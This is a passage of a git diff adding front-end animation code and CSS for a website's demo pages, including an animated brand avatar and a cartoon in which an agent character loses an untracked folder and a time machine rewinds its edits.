lineEl.querySelector('.anim4-term-caret'); + var content = lineEl.querySelector('.anim4-term-c'); + for (var i = 0; i < text.length; i++) { + var c = document.createElement('span'); + c.className = 'anim4-term-c'; + c.textContent = text[i]; + content.appendChild(c); + rescueUnits.push(c); + if (eyes && caret) { + var cr = caret.getBoundingClientRect(); + eyes.lookAtPoint(cr.left, cr.top + cr.height / 2); + } + await rafWait(perChar); + } + } + + /* ── 第三幕:笔甩飞(重力 + 弹跳 + 翻滚;旋转全程连续无跳变,落地即平躺) ── */ + function penToss() { + return new Promise(function (resolve) { + penPos.classList.add('is-live'); + pen.classList.add('is-free'); /* 旋转 origin 切到中心 */ + /* vx=-110:落点在时光机右侧(约 x 320),不与亭子重合 */ + var px = penTx, py = penTy, vx = -110, vy = -560; + var G = 1050; + /* 预算总飞行时间 T(与下方逐帧积分同一套常数/阈值) */ + var T = (function () { + var apex = vy * vy / (2 * G) + (PEN_FLOOR_Y - py); /* 顶点超出地面的高度 */ + var t = Math.abs(vy) / G + Math.sqrt(2 * apex / G); + var v = Math.sqrt(2 * G * apex); + while (v > 100) { v *= 0.42; t += 2 * v / G; } + return t; + })(); + var SPIN = 720 - PEN_FLAT_ROT; /* 675.5°:起始 720° ≡ 手上持笔角 0°,终点 44.5° 平躺 */ + var acc = 0; + var last = performance.now(); + function tick(now) { + var dt = Math.min(now - last, 50) / 1000; + last = now; + acc += dt; + vy += G * dt; + px += vx * dt; + py += vy * dt; + if (py >= PEN_FLOOR_Y) { + py = PEN_FLOOR_Y; + if (Math.abs(vy) > 100) { + vy = -vy * 0.42; + vx *= 0.55; + } else { + /* 落地即平躺(旋转早已连续收敛到 44.5°,归一化即可) */ + pen.style.transform = 'rotate(' + PEN_FLAT_ROT + 'deg)'; + setPen(px, py); + resolve(); + return; + } + } + var u = Math.min(acc / T, 1); + var rot = PEN_FLAT_ROT + SPIN * (1 - u) * (1 - u); /* 连续翻滚,平滑减速到零 */ + setPen(px, py); + pen.style.transform = 'rotate(' + rot.toFixed(1) + 'deg)'; + requestAnimationFrame(tick); + } + requestAnimationFrame(tick); + }); + } + + /* ── 第四幕:倒带(时间线回卷 + 世界同步还原;笔躺在地上不受影响) ── */ + function rewindWorld(ms) { + var rescueTotal = rescueUnits.length; + var termStateDone = false, termClassDone = false, linesZeroed = false; + var shattered = [false, false, false, false, false, false, false]; + /* 对话记录在整个回溯期间慢慢向下滚动(滚动量 = 三条将碎气泡的占位总和), + 碎裂均匀分布在起步(p0.06,第 7 条尚完整可见)/ p0.325 / p0.58——空壳脱离滚动原地定住、 + 边下坠边淡出(淡出全程在视野内);收尾时移除空壳(占位消失)并同帧滚动归零,视觉无跳变 */ + var scrollEls = Array.prototype.slice.call(bubblesEl.children); + var scrollTotal = 0; + [bubbleOf(4), bubbleOf(5), bubbleOf(6)].forEach(function (x) { + if (x) scrollTotal += x.getBoundingClientRect().height / curScale + BUBBLE_GAP; + }); + return tween(ms, function (p, acc) { + var e = easeInOut(p); + /* 慢滚动:整段回溯推满 scrollTotal(碎裂空壳 _detached 脱离队伍,原地定住湮灭) */ + var sy = scrollTotal * e; + for (var sj = 0; sj < scrollEls.length; sj++) { + var se = scrollEls[sj]; + if (se._detached) continue; + se.style.transform = 'translateY(' + sy.toFixed(1) + 'px)'; + } + /* 后三条指令被时间退回:起步即碎第 7 条(尚在视野中央完整可见),随后等间隔碎 6、5—— + 碎裂必须发生在气泡完整可见时;等滚到底缘再碎,空壳淡出会被裁在视野外 */ + if (!shattered[6] && p >= 0.06) { shattered[6] = true; shatterBubble(bubbleOf(6), sy); } + if (!shattered[5] && p >= 0.325) { shattered[5] = true; shatterBubble(bubbleOf(5), sy); } + if (!shattered[4] && p >= 0.58) { shattered[4] = true; shatterBubble(bubbleOf(4), sy); } + /* 亭子失重飘浮:正弦起伏 + 微旋 + 缓慢偏航 */ + boothState.dy = BOOTH_FLOAT_DY + Math.sin(acc / 1000 * 2 * Math.PI / 1.15) * 5; + boothState.rot = -2 + Math.sin(acc / 1000 * 2 * Math.PI / 1.7) * 1; + boothState.sway = Math.sin(acc / 1000 * 2 * Math.PI / 2.3) * 2.2; + setBooth(); + /* 抢救内容(两条 git 指令的每个字符 + 报错行 + 提示符行)按创建逆序逐一倒删,上滚同步回退 */ + if (p >= 0.02) { + var rTarget = Math.round(rescueTotal * (1 - clamp01((p - 0.02) / 0.12))); + while (rescueUnits.length > rTarget) rescueUnits.pop().remove(); + var need = Math.max(0, termBody.querySelectorAll('.anim4-term-line').length * 21 - 90); + if (need !== termShift) { + termShift = need; + termBody.style.transform = need ? 'translateY(' + (-need) + 'px)' : ''; + } + } + /* 终端行态复位:光标恢复 + 输出/新提示行隐藏 */ + if (!termStateDone && p >= 0.16) { + termStateDone = true; + termNew.querySelector('.anim4-term-caret').style.visibility = ''; + termNew.classList.remove('is-on'); + termOut.classList.remove('is-on'); + termCaret.style.visibility = ''; + } + /* 命令从右往左倒删 */ + var targetLen = CMD.length - Math.round(CMD.length * clamp01((p - 0.14) / 0.18)); + while (typedChars.length > targetLen) typedChars.pop().remove(); + /* 翻纸前先把纸面行宽全抹掉(藏在终端层后面,看不见),稍后再逐一长回 */ + if (!linesZeroed && p >= 0.30) { + linesZeroed = true; + lines.forEach(function (l) { l.style.width = '0%'; }); + } + /* 终端变回纸(翻回斜铺) */ + if (!termClassDone && p >= 0.32) { + termClassDone = true; + paper.classList.remove('is-term'); + } + var mp = easeInOut(clamp01((p - 0.32) / 0.25)); + var pose = { + rx: lerp(PAPER_FLAT.rx, PAPER_TILT.rx, mp), + rz: lerp(PAPER_FLAT.rz, PAPER_TILT.rz, mp), + ty: lerp(PAPER_FLAT.ty, PAPER_TILT.ty, mp) + }; + paper._pose = pose; + setPaperTransform(pose.rx, pose.rz, pose.ty); + /* 纸面四行从前往后逐一长出(对应时间线回稳在第 4 条完成态) */ + for (var k = 0; k < 4; k++) { + var lp = clamp01((p - (0.46 + k * 0.11)) / 0.13); + lines[k].style.width = (LINE_W[k] * easeOut(lp)) + '%'; + } + }).then(function () { + boothState.sway = 0; + /* 收尾:碎裂空壳出列(占位消失量 = 滚动量),同帧清滚动 transform——视觉无跳变 */ + for (var q = 0; q < shatteredShells.length; q++) { var sh = shatteredShells[q]; if (sh.parentNode) sh.parentNode.removeChild(sh); } + shatteredShells.length = 0; + for (var q2 = 0; q2 < scrollEls.length; q2++) scrollEls[q2].style.transform = ''; + while (rescueUnits.length) rescueUnits.pop().remove(); /* 兜底清理 */ + }); + } + + /* ── 主流程 ── */ + async function play() { + /* 初始状态校正 */ + blinksOn = true; + blinkLoop(); + if (eyes) { eyes.setEyePath(EYE_IDLE); curEyePath = EYE_IDLE; eyes.lookAt(0, 2.5); } + + /* ── 第一幕:赶工(4 条修改) ── */ + for (var k = 0; k < 4; k++) { + await bubbleArrive(k); + await rafWait(120); + await writeLine(k); + morphEyes(window.AstrionAvatar.eyeScale(SLEEPY[k]), 420); + /* 困倦下沉与眼睛同周期渐变(420ms,不 await,节奏不变)—— + 原先无过渡瞬移,紧贴下一气泡出现前 140ms,被读成「被新气泡挤下去」 */ + var yFrom = agent.y; + tween(420, function (p) { agent.y = yFrom + 1.2 * easeInOut(p); setAgent(); }); + await rafWait(140); + } + penToHand(); /* 笔回到手上 */ + await rafWait(460); + + /* ── 第二幕:闯祸 ── */ + await bubbleArrive(4); + await rafWait(400); + await hopTo(AGENT_TERM_X, AGENT_GROUND_Y, 22, 340, true); /* 带笔跳下纸面 */ + paperMorphTo(PAPER_FLAT, 520); + await rafWait(200); + paper.classList.add('is-term'); + await rafWait(380); + await typeCommand(); + await rafWait(180); + termCaret.style.visibility = 'hidden'; /* 运行后命令行光标消失 */ + termOut.classList.add('is-on'); + if (eyes) { + var outR = termOut.getBoundingClientRect(); + eyes.lookAtPoint(outR.left + outR.width / 2, outR.top + outR.height / 2); + } + await rafWait(320); + termNew.classList.add('is-on'); + await rafWait(500); + /* 快睡着了:眼睛快闭完 + 头微歪 */ + morphEyes(window.AstrionAvatar.eyeScale(0.18), 600); + await tween(600, function (p) { + agent.rot = -4 * easeInOut(p); + setAgent(); + penCarried(); + }); + + /* ── 第三幕:惊吓 ── */ + await bubbleArrive(5); + blinksOn = false; + if (eyes) { + morphEyes(EYE_IDLE, 120); + var br = bubbleOf(5).getBoundingClientRect(); /* 盯着刚浮出来的第 6 条指令气泡 */ + eyes.lookAtPoint(br.left + br.width / 2, br.top + br.height / 2); + } + agent.rot = 0; + setAgent(); + penCarried(); + await rafWait(650); /* 读懂了… */ + /* 猛跳 + 瞪眼 + 左右看 + 左右晃:全部同时发生 */ + morphEyes(window.AstrionAvatar.eyeScale(1.35), 90); + var scare = tween(940, function (p, acc) { + var jumpP = Math.min(acc / 260, 1); /* 跳一下 */ + agent.y = AGENT_GROUND_Y - Math.sin(jumpP * Math.PI) * 12; + var damp = 1 - easeInOut(clamp01((acc - 600) / 320)); /* 末段振幅收敛到 0,结束时不会瞬变拍平 */ + var wob = Math.sin(acc / 1000 * 24) * damp; /* 左右晃 */ + agent.rot = wob * 2.4; + agent.x = AGENT_TERM_X + wob * 2.5; + setAgent(); + /* 眼睛 130ms 换一次方向 */ + if (eyes) eyes.lookAt(Math.floor(acc / 130) % 2 ? 6 : -6, -1); + }); + /* 晃完定格:看向左上方(笔被甩飞出去的方向),而不是停在右侧 */ + scare.then(function () { if (eyes) eyes.lookAt(-6, -3); }); + await Promise.all([scare, penToss()]); + agent.x = AGENT_TERM_X; agent.y = AGENT_GROUND_Y; agent.rot = 0; + setAgent(); + await rafWait(380); + + /* ── 抢救:连敲两条 git 指令想把 cache/ 救回来,却发现它根本没被 git 追踪 ── */ + if (eyes) { morphEyes(window.AstrionAvatar.eyeScale(1), 260); eyes.lookAt(2, 1.5); } + await rafWait(320); + await typeIntoLine(termNew, RESCUE_1, 44); /* git restore cache/ */ + await rafWait(160); + termNew.querySelector('.anim4-term-caret').style.visibility = 'hidden'; /* 回车运行 */ + var err1 = addTermLine('anim4-term-line anim4-term-out is-on', RESCUE_ERR); + if (eyes) { var e1r = err1.getBoundingClientRect(); eyes.lookAtPoint(e1r.left + e1r.width / 2, e1r.top + e1r.height / 2); } + await rafWait(560); /* 愣住:没被追踪 */ + /* 不甘心,再试一条 */ + var prompt2 = addTermLine('anim4-term-line anim4-term-new is-on', '>'); + await rafWait(220); + await typeIntoLine(prompt2, RESCUE_2, 38); /* git checkout cache/ */ + await rafWait(140); + prompt2.querySelector('.anim4-term-caret').style.visibility = 'hidden'; + var err2 = addTermLine('anim4-term-line anim4-term-out is-on', RESCUE_ERR); + addTermLine('anim4-term-line anim4-term-new is-on', '>'); /* 最终空提示符 */ + if (eyes) { var e2r = err2.getBoundingClientRect(); eyes.lookAtPoint(e2r.left + e2r.width / 2, e2r.top + e2r.height / 2); } + await rafWait(520); + /* 救不回来,用户气炸了追加一条骂 */ + await bubbleArrive(6); + if (eyes) { + var br6 = bubbleOf(6).getBoundingClientRect(); /* 看一眼骂自己的气泡 */ + eyes.lookAtPoint(br6.left + br6.width / 2, br6.top + br6.height / 2); + } + await rafWait(700); /* 读懂了…… */ + /* 绝望拉拉 */ + morphEyes(window.AstrionAvatar.eyeScale(0.55), 380); + await tween(380, function (p) { agent.rot = -5 * easeInOut(p); setAgent(); }); + await rafWait(300); + /* 被时光机到场的动静惊动:回神 */ + morphEyes(window.AstrionAvatar.eyeScale(1), 200); + await tween(200, function (p) { agent.rot = -5 * (1 - easeInOut(p)); setAgent(); }); + + /* ── 第四幕:穿越 ── */ + boothState.op = 1; + setBooth(); + await tween(640, function (p) { /* 从上方落下(加速) */ + boothState.dy = lerp(BOOTH_FLY_Y, 0, easeIn(p)); + setBooth(); + }); + await tween(170, function (p) { boothState.dy = -13 * Math.sin(p * Math.PI * 0.5); setBooth(); }); + await tween(140, function (p) { boothState.dy = -13 * Math.cos(p * Math.PI * 0.5); setBooth(); }); + await tween(100, function (p) { boothState.dy = -4 * Math.sin(p * Math.PI); setBooth(); }); + boothState.dy = 0; + setBooth(); + calibrateInner(); /* 落地态标定门洞(无倾斜无偏航,投影最准) */ + await rafWait(240); + await doorTween(1, 400); /* 双开门 */ + await rafWait(160); + /* 团子步走到门口正前方 */ + await walkTo(doorGeom.cxStage - 35, 2600); + /* 走进门里(此时图层仍在时光机之上,能看见他走进门口):微缩表示踏入纵深,摇摆渐停 */ + await tween(300, function (p, acc) { + var e = easeInOut(p); + agent.sx = agent.sy = lerp(1, 0.94, e); + agent.rot = Math.sin(acc / 1000 * 9) * 6 * (1 - p); + setAgent(); + }); + agent.rot = 0; + setAgent(); + /* 关门瞬间换层:沉到前壳之下,门板在他面前关拢、把他挡在亭内 */ + reparentKeepVisual(boothInner); + await doorTween(0, 350); + await rafWait(200); + /* 浮空 + 微旋,开始穿越;被退回的指令气泡在倒带时逐字湮灭 */ + await tween(850, function (p) { + var e = easeInOut(p); + boothState.dy = BOOTH_FLOAT_DY * e; + boothState.rot = -2 * e; + setBooth(); + }); + await rewindWorld(2400); + /* 落地 */ + await tween(600, function (p) { + var e = easeIn(p); + boothState.dy = BOOTH_FLOAT_DY * (1 - e); + boothState.rot = -2 * (1 - e); + setBooth(); + }); + await tween(150, function (p) { boothState.dy = -8 * Math.sin(p * Math.PI); setBooth(); }); + boothState.dy = 0; + boothState.rot = 0; + setBooth(); + calibrateInner(); /* 落地后重标定门洞 */ + await rafWait(220); + + /* ── 第五幕:归来 ── */ + /* 开门(前壳在上,门板向前掀开):他就站在亭内门口,眼睛左右看看 */ + await doorTween(1, 350); + if (eyes) { + eyes.setEyePath(EYE_IDLE); + curEyePath = EYE_IDLE; + eyes.lookAt(-5, 0); + } + await rafWait(300); + if (eyes) eyes.lookAt(5, 0); + await rafWait(320); + if (eyes) eyes.lookAt(0, 1); + await rafWait(180); + /* 迈出门来:换回最上层(在前壳之上),边向外迈一步边恢复体型(动作掩护换层瞬间) */ + reparentKeepVisual(stage); + var outX = agent.x; + await tween(340, function (p, acc) { + var e = easeInOut(p); + agent.x = lerp(outX, outX + 30, e); + agent.sx = agent.sy = lerp(0.94, 1, e); + var wob = e * Math.PI * 2; /* 向外迈一步 */ + agent.rot = Math.sin(wob) * 5; + agent.y = AGENT_GROUND_Y - Math.abs(Math.sin(wob)) * 3; + setAgent(); + }); + agent.rot = 0; + agent.y = AGENT_GROUND_Y; + setAgent(); + /* 走向地上的笔(门保持开着,等他彻底走开) */ + var penCX = penTx + 20; + await walkTo(penCX - 36, 800); /* 手(x+52)落在笔上方 */ + await doorTween(0, 350); /* 完全走出去后才关门 */ + if (eyes) eyes.lookAt(0, 3); + await tween(200, function (p) { /* 蹲下 */ + var k = Math.sin(p * Math.PI * 0.5); + agent.sy = 1 - 0.16 * k; + agent.sx = 1 + 0.1 * k; + agent.y = AGENT_GROUND_Y + 11 * k; /* 脚下沉补偿:脚贴地 */ + setAgent(); + }); + pen.classList.remove('is-free'); + pen.classList.add('is-returning'); /* transition 平滑回正 + origin 保持中心 */ + pen.style.transform = 'rotate(' + PEN_FLAT_ROT + 'deg)'; + void pen.offsetWidth; /* 定格起始态再触发过渡 */ + pen.style.transform = 'rotate(0deg)'; + /* 位置滑翔到手持位:终点直接按「旋转 0° 时」的携带坐标算。 + 不能用 nibTo 实测——此刻笔正在回正旋转中,实测到的是平躺态笔尖, + 滑翔终点会差一截,等 penCarried 接管时就瞬移跳一下 */ + penPos.classList.remove('is-live'); + setPen(agent.x + HAND_DX - PEN_NIB_DX, agent.y + HAND_DY - PEN_NIB_DY); + await rafWait(400); /* 等滑翔+回正完成 */ + await tween(200, function (p) { /* 起身(笔钉在手上随身体一起抬起) */ + var k = 1 - Math.sin(p * Math.PI * 0.5); + agent.sy = 0.84 + 0.16 * (1 - k); + agent.sx = 1.1 - 0.1 * (1 - k); + agent.y = AGENT_GROUND_Y + 11 * k; + setAgent(); + penCarried(); + }); + agent.sy = 1; agent.sx = 1; agent.y = AGENT_GROUND_Y; + setAgent(); + penCarried(); + await rafWait(140); + setTimeout(function () { pen.classList.remove('is-returning'); }, 420); /* 回正完成后 origin 回笔尖 */ + /* 带笔走回右侧,跳回纸上工作位 */ + await walkTo(AGENT_HOME.x, 1500, true); + if (eyes) eyes.lookAt(0, 2); + await hopTo(AGENT_HOME.x, AGENT_HOME.y, 60, 560, true); + if (eyes) eyes.lookAt(0, 2.5); + /* 时光机不离场:落地后留在原地,成为舞台常驻道具 */ + await rafWait(600); + + /* ── 谢幕:定格在第 4 条写完的现场(时间线/纸面/持笔都停在这),呼吸感保留: + 眨眼恢复 + 解除手动注视,眼睛交还给访客的鼠标跟踪 ── */ + penToHand(); + if (eyes) { + morphEyes(EYE_IDLE, 420); + eyes.setEyePath(EYE_IDLE); + curEyePath = EYE_IDLE; + eyes.releaseLook(); + } + blinksOn = true; + blinkLoop(); + return; + } + + /* 初始就位 */ + updateScale(); + setPaperTransform(PAPER_TILT.rx, PAPER_TILT.rz, PAPER_TILT.ty); + paper._pose = PAPER_TILT; + setAgent(); + penPos.classList.add('is-live'); + nibTo(AGENT_HOME.x + HAND_DX, AGENT_HOME.y + HAND_DY, stageRect()); + void penPos.offsetWidth; + penPos.classList.remove('is-live'); + doorSet(0); + setBooth(); + calibrateInner(); /* 初始标定一次(此时 booth 虽在上方藏点,但门洞与 booth 的相对几何不变) */ + + /* 进入视口才播放(首次相交后即启动并断开) */ + var started = false; + var io = new IntersectionObserver(function (entries) { + if (!started && entries[0].isIntersecting) { + started = true; + io.disconnect(); + play(); + } + }, { threshold: 0.3 }); + io.observe(container); + } + + return { init: init }; +})(); diff --git a/website-design/exp/site-assets/anim3-demo.css b/website-design/exp/site-assets/anim3-demo.css new file mode 100644 index 00000000..5b28396d --- /dev/null +++ b/website-design/exp/site-assets/anim3-demo.css @@ -0,0 +1,35 @@ +/* 修改记录动画 demo 页壳 —— 布局与 token;动画本体样式在 anim-records.css */ + +:root { + --bg-0: #0c1120; + --bg-1: #111830; + --bg-panel: #151c31; + --text-1: #eef1f8; + --text-2: #a7b0c4; + --text-3: #6b7488; + --line: rgba(168, 180, 210, 0.14); + --accent: #a9c2f0; + --accent-strong: #c1d4f6; + --ok: #7ba889; + --font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC", + "Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif; + --font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +body { + font-family: var(--font-sans); + background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%); + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + color: var(--text-1); +} + +.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; } +.hint { font-size: 13px; color: var(--text-3); } + +/* demo 页动画宿主:原尺寸 1:1(不缩放) */ +.anim-host { width: 540px; height: 380px; } diff --git a/website-design/exp/site-assets/anim4-demo.css b/website-design/exp/site-assets/anim4-demo.css new file mode 100644 index 00000000..88ed7281 --- /dev/null +++ b/website-design/exp/site-assets/anim4-demo.css @@ -0,0 +1,36 @@ +/* 版本控制动画 demo 页壳 —— 布局与 token;动画本体样式在 anim-version.css */ + +:root { + --bg-0: #0c1120; + --bg-1: #111830; + --bg-panel: #151c31; + --text-1: #eef1f8; + --text-2: #a7b0c4; + --text-3: #6b7488; + --line: rgba(168, 180, 210, 0.14); + --line-strong: rgba(168, 180, 210, 0.24); + --accent: #a9c2f0; + --accent-strong: #c1d4f6; + --ok: #7ba889; + --font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC", + "Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif; + --font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +body { + font-family: var(--font-sans); + background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%); + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + color: var(--text-1); +} + +.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; } +.hint { font-size: 13px; color: var(--text-3); } + +/* demo 页动画宿主:原尺寸 1:1(不缩放) */ +.anim-host { width: 540px; height: 380px; } diff --git a/website-design/exp/site-assets/astrion-avatar.css b/website-design/exp/site-assets/astrion-avatar.css new file mode 100644 index 00000000..cdaef8d8 --- /dev/null +++ b/website-design/exp/site-assets/astrion-avatar.css @@ -0,0 +1,47 @@ +/* Astrion 品牌形象组件 —— 六边形 + 双眼 + * 参数精确还原 static/src/components/avatar/StatusAvatar.vue: + * viewBox 0 0 200 200,flat-top 圆角正六边形 + * idle 态:外框 stroke-width 12,眼睛 stroke-width 10,全部 currentColor + * 眼睛竖线位于 (84,96) / (116,96),长 22 + * 颜色永远跟随上下文文字色(currentColor),禁止单独上色。 + */ + +.astrion-avatar { + display: block; + color: inherit; + overflow: visible; +} + +.aa-frame { + fill: none; + stroke: currentColor; + stroke-width: 12; + stroke-linecap: round; + stroke-linejoin: round; +} + +.aa-eye { + fill: none; + stroke: currentColor; + stroke-width: 10; + stroke-linecap: round; + stroke-linejoin: round; +} + +/* 思考表情:三个波浪圆点(r=7,位于 80/100/120) */ +.aa-think-dot { + fill: currentColor; + animation: aa-think-wave 1.6s ease-in-out infinite; +} +.aa-think-dot:nth-child(1) { animation-delay: -0.48s; } +.aa-think-dot:nth-child(2) { animation-delay: -0.32s; } +.aa-think-dot:nth-child(3) { animation-delay: -0.16s; } + +@keyframes aa-think-wave { + 0%, 100% { transform: translateY(0); } + 50% { transform: translateY(-12px); } +} + +@media (prefers-reduced-motion: reduce) { + .aa-think-dot { animation: none; } +} diff --git a/website-design/exp/site-assets/astrion-avatar.js b/website-design/exp/site-assets/astrion-avatar.js new file mode 100644 index 00000000..9de588ac --- /dev/null +++ b/website-design/exp/site-assets/astrion-avatar.js @@ -0,0 +1,250 @@ +/* Astrion 品牌形象组件 —— 渲染 + 眨眼 + 鼠标追踪 + * + * 用法: + * AstrionAvatar.mount(el, { mode: 'idle' | 'think', blink: true, track: true }) + * + * idle 模式:竖线双眼,随机眨眼,眼睛组随鼠标方向轻微偏移。 + * think 模式:三个波浪圆点(不追踪、不眨眼)。 + */ + +(function () { + 'use strict'; + + var SVG_NS = 'http://www.w3.org/2000/svg'; + + // —— 精确还原 StatusAvatar.vue 的几何参数 —— + var FRAME_PATH = + 'M 175.959,107.000 Q 180.000,100.000 175.959,93.000 ' + + 'L 144.041,37.718 Q 140.000,30.718 131.917,30.718 ' + + 'L 68.083,30.718 Q 60.000,30.718 55.959,37.718 ' + + 'L 24.041,93.000 Q 20.000,100.000 24.041,107.000 ' + + 'L 55.959,162.282 Q 60.000,169.282 68.083,169.282 ' + + 'L 131.917,169.282 Q 140.000,169.282 144.041,162.282 Z'; + + // 眼睛 path 的 18 个数字:M a,b Q c,d e,f Q g,h i,j Q k,l m,n Q o,p q,r + var EYE_IDLE = [0, -11, 0, -5.5, 0, 0, 0, 5.5, 0, 11, 0, 5.5, 0, 0, 0, -5.5, 0, -11]; + var EYE_BLINK = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; + var EYE_LEFT = { x: 84, y: 96 }; + var EYE_RIGHT = { x: 116, y: 96 }; + + // 鼠标追踪参数(viewBox 单位) + var TRACK_MAX = 7; // 最大偏移 + var TRACK_RANGE = 140; // 屏幕 px 内达到最大偏移 + var TRACK_LERP = 0.14; + + function eyePathD(n) { + return ( + 'M ' + n[0] + ',' + n[1] + + ' Q ' + n[2] + ',' + n[3] + ' ' + n[4] + ',' + n[5] + + ' Q ' + n[6] + ',' + n[7] + ' ' + n[8] + ',' + n[9] + + ' Q ' + n[10] + ',' + n[11] + ' ' + n[12] + ',' + n[13] + + ' Q ' + n[14] + ',' + n[15] + ' ' + n[16] + ',' + n[17] + ); + } + + function svgEl(tag, attrs) { + var el = document.createElementNS(SVG_NS, tag); + for (var k in attrs) el.setAttribute(k, attrs[k]); + return el; + } + + // —— 眨眼 morph:同构 path 数字线性插值 —— + function morphEyes(eyes, from, to, duration, done) { + var start = null; + function step(ts) { + if (!start) start = ts; + var t = Math.min((ts - start) / duration, 1); + var e = t < 0.5 ? 2 * t * t : 1 - Math.pow(-2 * t + 2, 2) / 2; // easeInOutQuad + var cur = from.map(function (v, i) { return v + (to[i] - v) * e; }); + var d = eyePathD(cur); + eyes[0].setAttribute('d', d); + eyes[1].setAttribute('d', d); + if (t < 1) requestAnimationFrame(step); + else if (done) done(); + } + requestAnimationFrame(step); + } + + // —— 全局注视驱动(单 rAF 循环驱动所有实例) —— + // 每个实例二选一:useMouse 跟随鼠标;或 manual 目标(动画模块用 handle().lookAt 驱动) + var tracked = []; + var mouse = { x: -9999, y: -9999 }; + var rafRunning = false; + + function trackLoop() { + for (var i = 0; i < tracked.length; i++) { + var inst = tracked[i]; + if (!document.contains(inst.svg)) { tracked.splice(i--, 1); continue; } + var tx, ty; + if (inst.manual) { + tx = inst.manual.x; + ty = inst.manual.y; + } else if (inst.useMouse) { + var rect = inst.svg.getBoundingClientRect(); + if (rect.width === 0) continue; + var cx = rect.left + rect.width / 2; + var cy = rect.top + rect.height / 2; + var dx = mouse.x - cx; + var dy = mouse.y - cy; + var dist = Math.hypot(dx, dy) || 1; + var reach = Math.min(dist / TRACK_RANGE, 1) * TRACK_MAX; + tx = (dx / dist) * reach; + ty = (dy / dist) * reach; + } else { + tx = 0; + ty = 0; + } + inst.cur.x += (tx - inst.cur.x) * TRACK_LERP; + inst.cur.y += (ty - inst.cur.y) * TRACK_LERP; + inst.eyes.setAttribute( + 'transform', + 'translate(' + inst.cur.x.toFixed(2) + ',' + inst.cur.y.toFixed(2) + ')' + ); + } + if (tracked.length > 0) requestAnimationFrame(trackLoop); + else rafRunning = false; + } + + window.addEventListener('mousemove', function (e) { + mouse.x = e.clientX; + mouse.y = e.clientY; + }, { passive: true }); + + function mount(el, opts) { + opts = opts || {}; + var mode = opts.mode || 'idle'; + var svg = svgEl('svg', { + class: 'astrion-avatar', + viewBox: '0 0 200 200', + 'aria-hidden': 'true' + }); + svg.appendChild(svgEl('path', { class: 'aa-frame', d: FRAME_PATH })); + + if (mode === 'think') { + var think = svgEl('g', { class: 'aa-think' }); + [80, 100, 120].forEach(function (x) { + think.appendChild(svgEl('circle', { class: 'aa-think-dot', cx: x, cy: 100, r: 7 })); + }); + svg.appendChild(think); + } else { + var eyes = svgEl('g', { class: 'aa-eyes' }); + var eyeL = svgEl('path', { + class: 'aa-eye', + transform: 'translate(' + EYE_LEFT.x + ',' + EYE_LEFT.y + ')', + d: eyePathD(EYE_IDLE) + }); + var eyeR = svgEl('path', { + class: 'aa-eye', + transform: 'translate(' + EYE_RIGHT.x + ',' + EYE_RIGHT.y + ')', + d: eyePathD(EYE_IDLE) + }); + eyes.appendChild(eyeL); + eyes.appendChild(eyeR); + svg.appendChild(eyes); + + var pair = [eyeL, eyeR]; + + if (opts.blink !== false) { + (function scheduleBlink() { + var delay = 2200 + Math.random() * 2600; + setTimeout(function () { + if (!document.contains(svg)) return; + morphEyes(pair, EYE_IDLE, EYE_BLINK, 120, function () { + setTimeout(function () { + morphEyes(pair, EYE_BLINK, EYE_IDLE, 170, scheduleBlink); + }, 60); + }); + }, delay); + })(); + } + + // 所有 idle 实例都注册进驱动循环:useMouse=false 时由 handle().lookAt 手动驱动 + var inst = { + svg: svg, + eyes: eyes, + eyeL: eyeL, + eyeR: eyeR, + cur: { x: 0, y: 0 }, + manual: null, + useMouse: opts.track !== false, + pathNums: EYE_IDLE.slice(), + morphToken: 0 + }; + svg._aaInst = inst; + tracked.push(inst); + if (!rafRunning) { + rafRunning = true; + requestAnimationFrame(trackLoop); + } + } + + el.appendChild(svg); + return svg; + } + + /* 动画模块用的眼睛控制手柄(仅 idle 模式实例可用): + lookAt(dx,dy) 直接给 viewBox 偏移;lookAtPoint(cx,cy) 看向屏幕某点; + morphEyesTo(nums,ms) 眼睛形状渐变(困眼/瞪眼);setEyePath 瞬切。 */ + function handle(svg) { + var inst = svg && svg._aaInst; + if (!inst) return null; + var h = { + lookAt: function (dx, dy) { + var m = Math.hypot(dx, dy); + if (m > TRACK_MAX) { dx = (dx / m) * TRACK_MAX; dy = (dy / m) * TRACK_MAX; } + inst.manual = { x: dx, y: dy }; + }, + lookAtPoint: function (clientX, clientY) { + var rect = inst.svg.getBoundingClientRect(); + if (rect.width === 0) return; + var cx = rect.left + rect.width / 2; + var cy = rect.top + rect.height / 2; + var dx = (clientX - cx) / (rect.width / 200); + var dy = (clientY - cy) / (rect.height / 200); + var d = Math.hypot(dx, dy) || 1; + var s = Math.min(d / 60, 1); /* 60 个 viewBox 单位外达到最大注视 */ + h.lookAt((dx / d) * TRACK_MAX * s, (dy / d) * TRACK_MAX * s); + }, + releaseLook: function () { inst.manual = null; }, + setEyePath: function (nums) { + inst.morphToken++; + inst.pathNums = nums.slice(); + var d = eyePathD(nums); + inst.eyeL.setAttribute('d', d); + inst.eyeR.setAttribute('d', d); + }, + morphEyesTo: function (nums, ms, done) { + var token = ++inst.morphToken; + var from = inst.pathNums.slice(); + var start = null; + function stepFn(ts) { + if (token !== inst.morphToken) return; /* 被更新的 morph 接管,静默退出 */ + if (!start) start = ts; + var t = Math.min((ts - start) / ms, 1); + var e = t < 0.5 ? 2 * t * t : 1 - Math.pow(-2 * t + 2, 2) / 2; + var cur = from.map(function (v, i) { return v + (nums[i] - v) * e; }); + var d = eyePathD(cur); + inst.eyeL.setAttribute('d', d); + inst.eyeR.setAttribute('d', d); + if (t < 1) requestAnimationFrame(stepFn); + else { inst.pathNums = nums.slice(); if (done) done(); } + } + 